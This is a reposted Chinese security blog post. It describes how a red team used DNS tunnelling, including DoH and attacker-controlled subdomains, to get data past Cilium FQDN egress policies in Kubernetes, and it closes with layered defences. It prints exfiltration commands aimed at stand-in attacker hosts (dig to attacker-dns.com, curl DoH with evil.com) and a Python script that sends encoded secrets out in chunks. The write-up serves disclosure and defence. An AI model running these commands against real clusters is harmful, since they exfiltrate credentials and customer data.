文章总结: 该文档通过实战案例揭示CiliumeBPF零信任策略在K8s环境中的DNS隧道绕过风险。攻击者利用Pod向外部DNS服务器发送编码数据的查询请求,虽然Cilium会拒绝非白名单域名的响应,但查询包本身已实现数据外传。关键发现包括FQDN策略盲区、DoH/DoT绕过手法及子域名控制漏洞。防御建议需结合L7DNS内容检查、限制外部DNS查询、监控流量异常等多层措施,强调零信任需细致配置而非依赖单层防护。 综合评分: 85 文章分类: 云安全,漏洞分析,解决方案,安全运营,应急响应
你的K8s零信任就是个筛子:Cilium eBPF策略被DNS隧道无声击穿
原创
昆仑AI安全实验室 昆仑AI安全实验室
昆仑AI安全实验室
2026年6月7日 00:43 广东
在小说阅读器读本章
去阅读
去年我们红队打一个金融客户的K8s集群。集群部署了Cilium做CNI,网络策略配得密密麻麻,标签过滤、FQDN白名单、七层API防护,看起来滴水不漏。但我们在一个被攻破的Pod里只用了四行命令,就把内网数据拖了出来,全程没有触发任何eBPF策略告警。
没碰HTTP,没走TCP,用的是53端口的DNS隧道。蓝队直到复盘时看到DNS日志里那一长串诡异的子域名,才意识到自己的零信任早就被穿成了筛子。
一、Cilium的FQDN策略是怎么工作的——以及为什么它要命
Cilium的FQDN策略允许集群管理员定义“Pod只能访问某些域名”,比如只允许 api.github.com。配置起来很简单:
apiVersion: cilium.io/v2kind: CiliumNetworkPolicyspec: endpointSelector: matchLabels: app: my-service egress: - toFQDNs: - matchName: "api.github.com"
当Pod发起DNS查询 api.github.com 时,Cilium的DNS代理会拦截并解析,然后把返回的IP地址动态注入eBPF策略,允许Pod访问那个IP。如果一个域名不在白名单里,DNS代理直接返回REFUSED,Pod出不去。
这套逻辑在正常业务流下很安全。但如果攻击者能自己构造DNS请求,并且能控制一个被允许的域名——或者干脆就有权限向外部发起DNS查询——那FQDN策略就会变成一扇大门。
二、无声的隧道:把数据藏进DNS查询
那次实战中,我们在Pod里拿到了一个低权限Shell。Pod只被允许访问 api.example.com(客户自己的API域名),其它出口全封。
但我们发现,即使Pod只能解析 api.example.com,它仍然可以向外部DNS服务器发送DNS查询。因为Cilium的DNS代理默认不会阻断发往公网DNS的UDP 53流量,它只会在你请求一个不在白名单里的域名时拒绝这个查询。但攻击者可以自己搭建一个DNS服务器,让它接收查询并把数据从查询名称里解码出来,就像这样:
hex_data=$(echo "credit_card_number_1234" | xxd -p)dig @attacker-dns.com $hex_data.evil.com
攻击者控制的DNS服务器 attacker-dns.com 会收到 credit_card_number_1234.evil.com 的查询,然后从子域名里还原数据。而Cilium的策略引擎只看到Pod在请求 evil.com 的域名——这个域名不在白名单里,按理说应该被阻断。但关键问题来了:DNS查询本身可以成功发起,只是响应被拦截。这依然能外传数据,因为攻击者的服务器收到了查询包,数据就已经走了。
更隐蔽的做法是用TXT记录。攻击者在Pod里直接向自己的DNS服务器发起TXT查询,把数据编码在查询域名里,服务器返回一个包含确认信息的TXT记录。整个过程用的全是UDP 53,Cilium的L3/L4策略默认放行DNS流量(因为没有策略阻断),而L7 DNS代理只对白名单域名生效,非白名单域名则被代理拒绝,但代理拒绝是返回REFUSED应答给Pod,这并不能阻止Pod持续向外发出查询。
我们用的就是这套手法。在Pod里用Python写了个脚本,每5秒取一行数据库dump,用Base32编码,拼成子域名,向我们在公网的DNS服务器发一条A记录查询。蓝队事后查DNS日志,看到的全是对 random-string.evil.com 的查询,单条看就像随机噪声,但按时间序列串起来,就是完整的客户数据。
三、绕过强化策略:当 matchPattern 也防不住
有的团队会把FQDN策略配得更细,比如用 matchPattern: "*.example.com",只允许访问 example.com 的子域。听起来安全了,因为 evil.com 完全不在白名单内,DNS代理会直接拒绝。
但我们换个思路:如果攻击者控制了 evil.example.com 呢?只要这个子域指向攻击者的DNS服务器,那么Pod就可以光明正大地向它发起DNS查询。因为 evil.example.com 符合 *.example.com 的模式,Cilium的DNS代理会放行这个查询,并允许访问其解析出的IP。攻击者只需要在自己的DNS服务器上配一个泛解析,把 data.evil.example.com 的查询带出去就行了。
如果我们连域名控制权都没有,还有一个更脏的办法:用DNS over HTTPS或DNS over TLS。Cilium的DNS代理只拦截UDP/TCP 53明文DNS,如果Pod通过HTTPS向Google DNS或Cloudflare DNS发起DoH查询,数据加密传输,Cilium的eBPF程序根本看不到查询内容,策略完全失效。我们在客户环境里试过 curl https://dns.google/resolve?name=exfiltrated.data.evil.com&type=A,数据就这么走了。
四、实战:从一条DNS隧道到完整数据外传
把这次的攻击链完整摊开。
第一步:立足点。 通过一个Spring Boot Actuator未授权访问拿到Pod内的命令执行权限。Pod标签是 app: backend,对外只开放8080端口,Cilium策略如下:
- 允许
app: backendPod访问api.example.com的443端口 - 允许同namespace的Pod间通信
- 其它所有出站流量默认拒绝
第二步:探测DNS出口。 在Pod里执行 nslookup google.com,被Cilium DNS代理拒绝。但执行 nslookup google.com 8.8.8.8,查询被放行(UDP 53出站没有策略阻断)。这意味着我们可以直接向外部DNS服务器发起查询,只是域名不在白名单时,代理会返回REFUSED。但查询包已经到达外部DNS服务器。
第三步:搭建接收端。 在公网一台VPS上跑了一个简单的DNS服务器(Python的dnslib),记录所有查询的子域名,并返回一条A记录。
第四步:编写外传脚本。 用Python脚本从环境变量和本地文件里收集敏感信息,Base32编码后拼成 data.chunk.evil.com 的子域名,循环发送DNS查询。
import os, subprocess, time, base64data = "hostname:" + os.popen("hostname").read().strip()encoded = base64.b32encode(data.encode()).decode()for i in range(0, len(encoded), 20): chunk = encoded[i:i+20] subprocess.run(f"dig @{DNS_SERVER} {chunk}.evil.com", shell=True) time.sleep(2)
第五步:数据接收与清洗。 在VPS上解析DNS日志,按时间排序拼接,Base32解码,还原出完整的数据——包括Pod环境变量里的数据库密码、K8s ServiceAccount Token、甚至挂载卷里的配置文件。
蓝队在复盘时发现,Cilium的网络策略日志里只记录了对 evil.com 的DNS请求被拒绝,但没有记录到这些请求实际上已经将数据带了出去。因为eBPF代理的拒绝是基于DNS响应,而不是阻断DNS查询报文。这是一个巨大的盲区。
五、防御:堵住DNS隧道,不是靠禁用DNS
想要真正防住这类攻击,单纯靠FQDN白名单是不够的,需要多层防御。
第一,启用L7 DNS策略的内容检查。 Cilium支持对DNS查询内容进行正则匹配,可以阻断包含高熵值、过长子域名或非业务特征的查询。例如,只允许符合 [a-z0-9.-]+.example.com 模式的域名,长度限制在63字节以内,拒绝非ASCII字符。
- toPorts: - ports: - port: "53" protocol: ANY rules: dns: - matchPattern: "*.example.com" matchName: "api.example.com" - matchPattern: "*.internal"
但Cilium的DNS规则集并不支持matchPattern正则,只能明确列出matchName或matchPattern为通配符。要复杂正则,需要借助代理。
第二,阻断向非受信DNS服务器发起的查询。 通过策略只允许Pod向集群内部DNS(CoreDNS)发起查询,阻断所有去往公网DNS服务器的UDP 53流量。然后在CoreDNS上配置转发和过滤规则。
- toEndpoints: - matchLabels: k8s-app: kube-dns toPorts: - ports: - port: "53" protocol: UDP
再配一条默认拒绝出站UDP 53。
第三,启用DNS-over-HTTPS检测。 在Pod内禁止访问常见的DoH端点(如 dns.google, cloudflare-dns.com),用Cilium FQDN策略明确拒绝这些域名。
第四,网络行为异常检测。 部署网络流量分析工具(如Elastic Security、Deepfence等),监控DNS查询的熵值、子域名长度、查询频率等,对疑似隧道行为发出告警。设置基线:正常业务DNS查询长度通常小于100字节,查询间隔稀疏。DNS隧道的流量特点是持续、密集、高熵。
第五,最少权限原则。 即使Pod需要访问外部API,也应只给它访问该API所需的最小权限,不要放通整个通配符子域。能用matchName精确到完整域名就不要用matchPattern。
第六,监控eBPF代理日志。 Cilium的hubble可以观察所有DNS流量。配置告警:当出现大量被拒绝的DNS查询时,可能意味着有隧道尝试。
六、写在最后
DNS隧道并不是新技术,但在云原生环境里,Cilium这种基于eBPF的零信任方案让很多人产生了一种“绝对安全”的错觉。零信任只是一个框架,实现它需要一层层地细致配置,稍有不慎,整个防线就会溃于蚁穴。
攻击者不需要破墙,只需要找到一条UDP隧道,就能让零信任归零。对付DNS隧道的最好办法,不是关掉DNS,而是把DNS流量视为潜在的C2通道,用同样的深度去监控和限制。
下次当你配置完Cilium策略、确认Pod不能访问外部IP时,不妨再问自己一句:它能不能发DNS查询?如果能,那你的数据可能已经在别人服务器上了。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:昆仑AI安全实验室 昆仑AI安全实验室 昆仑AI安全实验室《你的K8s零信任就是个筛子:Cilium eBPF策略被DNS隧道无声击穿》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论